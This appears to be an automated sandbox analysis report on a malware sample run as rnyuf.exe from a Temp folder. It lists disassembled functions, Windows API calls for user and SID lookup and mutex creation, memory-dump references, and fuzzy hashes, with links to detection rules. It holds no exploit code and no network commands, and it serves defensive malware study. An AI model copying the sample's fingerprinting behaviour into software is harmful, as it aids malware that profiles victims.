Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 6c002e3b1ee1a98cb681723826ce5574e58dd71d704140804b1ac0cc4d3a4564
Instruction ID: 2cd6093a0d76ddfb56a819604a7b1fd39b4a16780cca96ed1ed2727ba869d77a
Opcode Fuzzy Hash: 6c002e3b1ee1a98cb681723826ce5574e58dd71d704140804b1ac0cc4d3a4564
Instruction Fuzzy Hash: 8EF03632954214E7C620EB99E9C5C96B3DEAB04730754081AF049DB511CF36FCC0AAE4

Uniqueness

Uniqueness Score: -1.00%

Function 00F1AED3, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00F1B06D

Strings

*?, xrefs: 00F1AF16

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 10ee6aa193b2a22c55cd56db50331241d1d9d032937cd9aa904c4765aaf002ea
Instruction ID: 9df18ecc0cea98f3ffc86d4444923fe833f34cd032c62c8eda1bc48c41e2e497
Opcode Fuzzy Hash: 10ee6aa193b2a22c55cd56db50331241d1d9d032937cd9aa904c4765aaf002ea
Instruction Fuzzy Hash: 03611DB6D00219DFDB14CFA8C8819EEFBF5EF48320B258169E855E7340D775AE819B90

Uniqueness

Uniqueness Score: -1.00%

Function 00F2166E, Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00F2173E
_free.LIBCMT ref: 00F21767
SetEndOfFile.KERNEL32(00000000,00F1DB46,00000000,00F1649E,?,?,?,?,?,?,?,00F1DB46,00F1649E,00000000), ref: 00F21799
GetLastError.KERNEL32(?,?,?,?,?,?,?,00F1DB46,00F1649E,00000000,?,?,?,?,00000000), ref: 00F217B5

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: 5521ca9e8bcde5cdb03b9a1eee862941de734ffec66dc2097acb4421cb89944f
Instruction ID: 837f82011660e9884bd2528ac5cf90f25e01a264b70484aa3ea4e24e480728bc
Opcode Fuzzy Hash: 5521ca9e8bcde5cdb03b9a1eee862941de734ffec66dc2097acb4421cb89944f
Instruction Fuzzy Hash: 3841D732900655ABDB11ABB8DC46BDE3BB5BFA4330F240110F824E7191EB39D994B764

Uniqueness

Uniqueness Score: -1.00%

Function 00F1AE04, Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 00F12687: _free.LIBCMT ref: 00F12695

Part of subcall function 00F1BDDB: WideCharToMultiByte.KERNEL32(00F03D80,00000000,00F2E0A8,00000000,00F03D80,00F03D80,00F18DE7,?,00F2E0A8,?,00000000,?,00F18B56,0000FDE9,00000000,?), ref: 00F1BE7D

GetLastError.KERNEL32 ref: 00F1AE6C
__dosmaperr.LIBCMT ref: 00F1AE73
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 00F1AEB2
__dosmaperr.LIBCMT ref: 00F1AEB9

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 6f80abb73cfb6d8e3cf7f2d4a108a42a445d9182c42a54820e7773ac7a130d3a
Instruction ID: cad325dfa9373cb83fa16a2491aa60d3d49cbbafe831e4a1914e4e3359733772
Opcode Fuzzy Hash: 6f80abb73cfb6d8e3cf7f2d4a108a42a445d9182c42a54820e7773ac7a130d3a
Instruction Fuzzy Hash: F921C272A01309BF9B21AFA78C819EBB7ADEF003787104519F928D7144E735EDD0A7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00F16EF2, Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00F03D80,00F03D80,F98B5000,00F1889D,?,00F03D80,00F2E0A8,?,00F18D5C,00F03D80,73B76490,00F03D80,00F03D80,00F03D80,73B76490,00F0E3F3), ref: 00F16EF7
_free.LIBCMT ref: 00F16F54
_free.LIBCMT ref: 00F16F8A
SetLastError.KERNEL32(00000000,00000006,000000FF,?,00F18D5C,00F03D80,73B76490,00F03D80,00F03D80,00F03D80,73B76490,00F0E3F3,?,00F124C5,00F0E3F3,00F2E0A8), ref: 00F16F95

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: c819e7c126433a9c57561a4ebb68c925b9531ae5977342d5b3e4fc39bed76912
Instruction ID: fbc3b81c249f586fd5d26969c878f220d529b5f66cb2bc7c76760e45cfaa9bb6
Opcode Fuzzy Hash: c819e7c126433a9c57561a4ebb68c925b9531ae5977342d5b3e4fc39bed76912
Instruction Fuzzy Hash: 0A11C67260C205ABD71177757C85EEB3A5A8BC07757250229F62CC62E1FE258CDB7210

Uniqueness

Uniqueness Score: -1.00%

Function 00F17049, Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00F0E3EC,00F0E3EC,E800F310,00F1320C,00F16B2D,?,?,00F0FD13,00F0E3EC,?,00F0EC38,E800F311,73B76490), ref: 00F1704E
_free.LIBCMT ref: 00F170AB
_free.LIBCMT ref: 00F170E1
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,00F0FD13,00F0E3EC,?,00F0EC38,E800F311,73B76490), ref: 00F170EC

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: a7c4b4edbdd65db7167496b1fe9fd902b686c1ae845ee58f86dd6e264f343e3a
Instruction ID: 71d1a29843dac46cd3a38c7c99aa5dcca4fdac1b956931c90aeebee076cd5abe
Opcode Fuzzy Hash: a7c4b4edbdd65db7167496b1fe9fd902b686c1ae845ee58f86dd6e264f343e3a
Instruction Fuzzy Hash: AD11E57260C705ABD7117674ACC2EEB367A9BC83757210225F62C822D1EF258CD67220

Uniqueness

Uniqueness Score: -1.00%

Function 00F177A5, Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,00F178A1,00000000,?,00F1E193,00000000,00000000,00F178A1,?,?,00000000,00000000,00000001), ref: 00F177BB
GetLastError.KERNEL32(?,00F1E193,00000000,00000000,00F178A1,?,?,00000000,00000000,00000001,00000000,00000000,?,00F178A1,00000000,00000104), ref: 00F177C5
__dosmaperr.LIBCMT ref: 00F177CC

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 00a0961a51049240e8868a40922a6da333c2be4bb679707d7eb7e24988860df9
Instruction ID: b1195fb6bba9c273b83a62ce72be919a63a845e7481c440826c64826e1aed9f2
Opcode Fuzzy Hash: 00a0961a51049240e8868a40922a6da333c2be4bb679707d7eb7e24988860df9
Instruction Fuzzy Hash: 2BF04B32608215BB8B217FB6DC08D9ABF79FF453B07208510F51D86560CB32E8A1EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F1773C, Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,00F178A1,00000000,?,00F1E208,00000000,00000000,?,?,00000000,00000000,00000001,00000000), ref: 00F17752
GetLastError.KERNEL32(?,00F1E208,00000000,00000000,?,?,00000000,00000000,00000001,00000000,00000000,?,00F178A1,00000000,00000104,?), ref: 00F1775C
__dosmaperr.LIBCMT ref: 00F17763

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 9441fa361f06d37b3deda2b9d7caff907e9472d28044e560b50f4e3046be87ec
Instruction ID: 2db6ffe6c7fe5a4a58431b482a3637f7671725675646eed5fb581dd0ad849c30
Opcode Fuzzy Hash: 9441fa361f06d37b3deda2b9d7caff907e9472d28044e560b50f4e3046be87ec
Instruction Fuzzy Hash: 95F0FB32609216BB8B207BB6DC0899ABF79FF453B07108511F52D96560D731E8A1EBD0

Uniqueness

Uniqueness Score: -1.00%

Function 00F21B95, Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00F03D80,73B76490,00F2E0A8,00000000,00F03D80,?,00F1EFD2,00F03D80,00000001,00F03D80,00F03D80,?,00F1882C,00000000,?,00F03D80), ref: 00F21BAC
GetLastError.KERNEL32(?,00F1EFD2,00F03D80,00000001,00F03D80,00F03D80,?,00F1882C,00000000,?,00F03D80,00000000,00F03D80,?,00F18D80,00F03D80), ref: 00F21BB8

Part of subcall function 00F21B7E: CloseHandle.KERNEL32(FFFFFFFE,00F21BC8,?,00F1EFD2,00F03D80,00000001,00F03D80,00F03D80,?,00F1882C,00000000,?,00F03D80,00000000,00F03D80), ref: 00F21B8E

___initconout.LIBCMT ref: 00F21BC8

Part of subcall function 00F21B40: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00F21B6F,00F1EFBF,00F03D80,?,00F1882C,00000000,?,00F03D80,00000000), ref: 00F21B53

WriteConsoleW.KERNEL32(00F03D80,73B76490,00F2E0A8,00000000,?,00F1EFD2,00F03D80,00000001,00F03D80,00F03D80,?,00F1882C,00000000,?,00F03D80,00000000), ref: 00F21BDD

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: bcafcfe3536e5d19c30d5c9269947817e6fa0653b0f63901cce9ac55b2fb35ac
Instruction ID: b0f330bd3d13ba08fd77deda26e8b574b37ba8da889718a169e0bf06981a11df
Opcode Fuzzy Hash: bcafcfe3536e5d19c30d5c9269947817e6fa0653b0f63901cce9ac55b2fb35ac
Instruction Fuzzy Hash: 77F01C36505229BBCF226FE2EC14E8A3F26FF987B0F014050FA1885130DB328820FB94

Uniqueness

Uniqueness Score: -1.00%

Function 00F1583C, Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00F15845

Part of subcall function 00F16601: HeapFree.KERNEL32(00000000,00000000,?,00F1C89A,00000000,00000000,00000000,E800F310,?,00F1C8C1,00000000,00000007,00000000,?,00F1CCC3,00000000), ref: 00F16617
Part of subcall function 00F16601: GetLastError.KERNEL32(00000000,?,00F1C89A,00000000,00000000,00000000,E800F310,?,00F1C8C1,00000000,00000007,00000000,?,00F1CCC3,00000000,00000000), ref: 00F16629

_free.LIBCMT ref: 00F15858
_free.LIBCMT ref: 00F15869
_free.LIBCMT ref: 00F1587A

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e2c0db8f32cb6898c6e783f4c1c92082b57394bfa76dd987a325e5a1e18b7684
Instruction ID: 8a93628a6cb096e39ea4c590f277982fbd1f95808c69640f0f1c2fa8ed6a9fa2
Opcode Fuzzy Hash: e2c0db8f32cb6898c6e783f4c1c92082b57394bfa76dd987a325e5a1e18b7684
Instruction Fuzzy Hash: FDE0EC79824128DA8B026F65BC85489FFF3F74AB313014816F4509A231CB3B05A2BF8D

Uniqueness

Uniqueness Score: -1.00%

Function 00F14EAB, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe, xrefs: 00F14EEE, 00F14EF5, 00F14F2B

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe
API String ID: 0-4023108300
Opcode ID: 1df4d375d40b6d8d17b6cd175c1cbfdfc9285e59872dbe0b12522de1432059e3
Instruction ID: e82ea9a0276020347f01c3606422357dfd97a0df613e8cebbaff4b7c708de179
Opcode Fuzzy Hash: 1df4d375d40b6d8d17b6cd175c1cbfdfc9285e59872dbe0b12522de1432059e3
Instruction Fuzzy Hash: D8415E71E04219ABDB11EB999C81DEEBBE9FBC5320F140066F404E7351D771AA82BB90

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rnyuf.exe PID: 6544 Parent PID: 968 rnyuf.exeCOMMON

Executed Functions

Function 00F121C1, Relevance: 4.5, APIs: 3, Instructions: 20COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,00F121C0,?,?,?,?,?,00F13272), ref: 00F121E3
TerminateProcess.KERNEL32(00000000,?,00F121C0,?,?,?,?,?,00F13272), ref: 00F121EA
ExitProcess.KERNEL32 ref: 00F121FC

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 43bdfabc7d86855f314bd224a0fdba953f800fcfa8ecb1157b2cf3d528735005
Instruction ID: ad10479c960d0cdd6242a46e133df79e5fd266552ac84c1325d524ac4b67c022
Opcode Fuzzy Hash: 43bdfabc7d86855f314bd224a0fdba953f800fcfa8ecb1157b2cf3d528735005
Instruction Fuzzy Hash: 78E0EC31404648AFCF657F94DC09A8A3B69FF44751B004414F9159A231CB39EEE2FB80

Uniqueness

Uniqueness Score: -1.00%

Function 00F10567, Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00010573,00F1006C), ref: 00F1056C

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 1147e91df718062fa745bfa666ecf156e5c3766576d18fc0cc57608059ec4525
Instruction ID: 08336b17012e35458ce4148202868ce15bb43b8df2dc307a250c106e09e1d2cf
Opcode Fuzzy Hash: 1147e91df718062fa745bfa666ecf156e5c3766576d18fc0cc57608059ec4525
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00F01DA0, Relevance: 27.2, APIs: 18, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(00000000,?), ref: 00F01DCA
GetProcessHeap.KERNEL32(00000008,?), ref: 00F01DDF
HeapAlloc.KERNEL32(00000000), ref: 00F01DE2
GetUserNameW.ADVAPI32(00000000,?), ref: 00F01DF0
LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 00F01E13
GetProcessHeap.KERNEL32(00000008,?), ref: 00F01E1E
HeapAlloc.KERNEL32(00000000), ref: 00F01E21
GetProcessHeap.KERNEL32(00000008,?), ref: 00F01E31
HeapAlloc.KERNEL32(00000000), ref: 00F01E34
LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 00F01E5E
ConvertSidToStringSidW.ADVAPI32(00000000,00000000), ref: 00F01E71
GetProcessHeap.KERNEL32(00000000,?), ref: 00F01F02
HeapFree.KERNEL32(00000000), ref: 00F01F0B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00F01F10
HeapFree.KERNEL32(00000000), ref: 00F01F13
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00F01F1A
HeapFree.KERNEL32(00000000), ref: 00F01F1D
LocalFree.KERNEL32(00000000), ref: 00F01F22

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Process$FreeName$Alloc$AccountLookupUser$ConvertLocalString
String ID:
API String ID: 3326663573-0
Opcode ID: 6dab9b23f45c1f9569e1a7092ef37128528678e981dd9678e1968e2209704b3e
Instruction ID: b41d243bd4ff8fc77e69d80420d67575a36ab5b42215774a04a0101123df0bef
Opcode Fuzzy Hash: 6dab9b23f45c1f9569e1a7092ef37128528678e981dd9678e1968e2209704b3e
Instruction Fuzzy Hash: E3513D75E00219ABDB20EFA5DC85BAFBBBCFB44350F144559E905A3280DB749E05ABA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F1DBF8, Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMON

Download Yara Rule

APIs

Part of subcall function 00F1D8B1: CreateFileW.KERNELBASE(00000000,00000000,?,00F1DCA1,?,?,00000000,?,00F1DCA1,00000000,0000000C), ref: 00F1D8CE

GetLastError.KERNEL32 ref: 00F1DD0C
__dosmaperr.LIBCMT ref: 00F1DD13
GetFileType.KERNELBASE(00000000), ref: 00F1DD1F
GetLastError.KERNEL32 ref: 00F1DD29
__dosmaperr.LIBCMT ref: 00F1DD32
CloseHandle.KERNEL32(00000000), ref: 00F1DD52
CloseHandle.KERNEL32(00F1649E), ref: 00F1DE9F
GetLastError.KERNEL32 ref: 00F1DED1
__dosmaperr.LIBCMT ref: 00F1DED8

Strings

H, xrefs: 00F1DE5D

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: bc246ab746db8355e42fc4592b0321641c843c46130460df7a3f756fdd07f0ec
Instruction ID: 40b842017ad8a2d066392dc44ae1810d7669e2841b12a47b7eeb6d0717b510bd
Opcode Fuzzy Hash: bc246ab746db8355e42fc4592b0321641c843c46130460df7a3f756fdd07f0ec
Instruction Fuzzy Hash: 66A13332A041489FCF19EF68DC91BEE7BB1AB46330F140159E811AF391DB399986EB51

Uniqueness

Uniqueness Score: -1.00%

Function 00F04DE0, Relevance: 3.1, APIs: 2, Instructions: 96synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNELBASE(00000000,00000000,?), ref: 00F04E41
GetLastError.KERNEL32(?,00000000), ref: 00F04E47

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateErrorLastMutex
String ID:
API String ID: 1925916568-0
Opcode ID: b2dec2c5b5580cc3c55a491bb95d1e51e22804dbf2189d12cf0f9663367f6744
Instruction ID: 37a171220b5be0f83a9503af67d480ffe58696fa0b6b14a32b73eb593f9dee1c
Opcode Fuzzy Hash: b2dec2c5b5580cc3c55a491bb95d1e51e22804dbf2189d12cf0f9663367f6744
Instruction Fuzzy Hash: 5A31F271E001099BDF18DF68CC84BAEF7B2FF44301F608569E212E76D1D738AA85AB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F04DA0, Relevance: 3.0, APIs: 2, Instructions: 48synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00F01DA0: GetUserNameW.ADVAPI32(00000000,?), ref: 00F01DCA
Part of subcall function 00F01DA0: GetProcessHeap.KERNEL32(00000008,?), ref: 00F01DDF
Part of subcall function 00F01DA0: HeapAlloc.KERNEL32(00000000), ref: 00F01DE2
Part of subcall function 00F01DA0: GetUserNameW.ADVAPI32(00000000,?), ref: 00F01DF0
Part of subcall function 00F01DA0: LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 00F01E13
Part of subcall function 00F01DA0: GetProcessHeap.KERNEL32(00000008,?), ref: 00F01E1E
Part of subcall function 00F01DA0: HeapAlloc.KERNEL32(00000000), ref: 00F01E21
Part of subcall function 00F01DA0: GetProcessHeap.KERNEL32(00000008,?), ref: 00F01E31
Part of subcall function 00F01DA0: HeapAlloc.KERNEL32(00000000), ref: 00F01E34
Part of subcall function 00F01DA0: LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 00F01E5E
Part of subcall function 00F01DA0: ConvertSidToStringSidW.ADVAPI32(00000000,00000000), ref: 00F01E71

CreateMutexW.KERNELBASE(00000000,00000000,?), ref: 00F04E41
GetLastError.KERNEL32(?,00000000), ref: 00F04E47

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Name$AllocProcess$AccountLookupUser$ConvertCreateErrorLastMutexString
String ID:
API String ID: 3154463122-0
Opcode ID: c43a4b52b38a24df95586b12d572889cf478dade5bb18408941260aa2032ce1f
Instruction ID: 48d96a33541628e7c06f575756e2f61bb506d2d1d23ba3e8e5d33002c42389fa
Opcode Fuzzy Hash: c43a4b52b38a24df95586b12d572889cf478dade5bb18408941260aa2032ce1f
Instruction Fuzzy Hash: DEF09630E012089BD754FBB5CD5AB9FB7B5EF44301F908029F625A61D1DB385D06ABD2

Uniqueness

Uniqueness Score: -1.00%

Function 00F151DE, Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00F15226

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 06fb267a1af394803637e55af1fffb3341f026c6d42a55db1a0e58e8d7c6c206
Instruction ID: 547b2a2ef6a16ce2572bc6bcca712fd670959a082572d6ad7a651e0c3b3da90e
Opcode Fuzzy Hash: 06fb267a1af394803637e55af1fffb3341f026c6d42a55db1a0e58e8d7c6c206
Instruction Fuzzy Hash: D9E06D23A55910D2E722763A7C463FA3686ABC1B72F21032AF424DA1D0EF7948C27695

Uniqueness

Uniqueness Score: -1.00%

Function 00F1645F, Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00F16499

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 6ee4221dc78fa2c38d3652c079dfdd242a13d7e79f7c4f267e7dd60be5bbe1c4
Instruction ID: 441194e964523a1191694a006096e8fde9e9e8b21a0ba69e68880a6e53b9e13c
